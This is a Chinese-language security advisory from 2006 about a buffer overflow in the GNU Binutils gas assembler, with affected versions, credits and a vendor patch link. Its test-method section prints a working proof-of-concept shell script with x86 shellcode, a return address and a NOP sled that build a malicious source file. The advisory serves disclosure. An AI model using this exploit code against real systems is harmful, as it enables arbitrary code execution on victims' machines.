2006-8-18
发布日期:2006-08-17 更新日期:2006-08-18
受影响系统:
Ubuntu Linux 5.10 powerpc Ubuntu Linux 5.10 i386 Ubuntu Linux 5.10 amd64 Ubuntu Linux 5.0 4 powerpc Ubuntu Linux 5.0 4 i386 Ubuntu Linux 5.0 4 amd64 GNU Binutils 2.16.1 GNU Binutils 2.15 GNU Binutils 2.14 GNU Binutils 2.12 GNU Binutils 2.11
描述:
BUGTRAQ ID: 19555
GNU BinUtils是个二进制工具集,用于执行基本二进制文件操作。
GNU BinUtils的gas(GNU汇编器)中存在缓冲区溢出漏洞,本地攻击者可能利用此漏洞提升自己的权限s。
如果用户或自动系统受骗使用gcc或gas汇编了特制的源文件的话,就可能导致以执行用户权限执行任意指令。
<*来源:Tavis Ormandy (taviso@gentoo.org) Martin Pitt (martin.pitt@canonical.com) 链接:http://marc.theaimsgroup.com/?l=bugtraq&m=115583278731355&w=2 *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#!/bin/sh # # gas overflow poc,
returnaddr='\xc4\xea\xff\xbf' shellcode='\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff/bin/id'
printf '#include \n' printf '#define EGG "%s"\n' "$shellcode" printf '#define RET "%s"\n' "$returnaddr" printf '#define NOP "%s"\n' "`perl -e 'print "\\\x90"x100'`" printf '#define PAD "%s"\n' "`perl -e 'print "A"x1990'`"
cat << __EOF__ #include
int main (int argc, char **argv) { __asm__ (PAD RET NOP EGG); } __EOF__
建议:
厂商补丁:
GNU --- 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://bugs.gentoo.org/attachment.cgi?id=63736
|